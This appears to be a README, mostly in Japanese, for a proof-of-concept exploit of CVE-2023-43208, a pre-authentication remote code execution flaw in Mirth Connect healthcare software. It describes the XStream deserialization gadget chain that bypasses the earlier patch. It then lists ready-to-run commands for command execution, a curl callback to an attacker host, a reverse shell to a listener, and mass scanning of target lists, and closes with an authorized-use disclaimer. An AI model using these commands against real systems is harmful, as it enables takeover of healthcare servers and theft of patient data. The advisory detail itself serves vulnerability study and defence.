
CVE-2023-43208: Mirth Connect 事前認証RCE PoC
NextGen Healthcare Mirth Connect < 4.4.1 における、XStream デシリアライゼーションのバイパスを介した事前認証リモートコード実行。
CVSS 9.8 (Critical) — CVE-2023-37679 のパッチバイパス
Mirth Connect は、Java XStream ライブラリを使用して /api/users エンドポイントで 認証なしで XML ペイロードをデシリアライズします。当初の修正 (CVE-2023-37679) では危険なクラスの拒否リストが導入されましたが、Apache Commons Lang3 の EventBindingInvocationHandler と Commons Collections4 の InvokerTransformer チェーンを組み合わせることでバイパスされました。
Mirth Connect 4.4.1 では、拒否リストから許可リストへの切り替えにより修正されました。
pip install requests
Python 3.10 以上(match 文を使用)。
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
このツールは認可されたセキュリティテストおよび教育目的のみに提供されています。コンピュータシステムへの不正アクセスは違法です。テスト前には必ず適切な許可を得てください。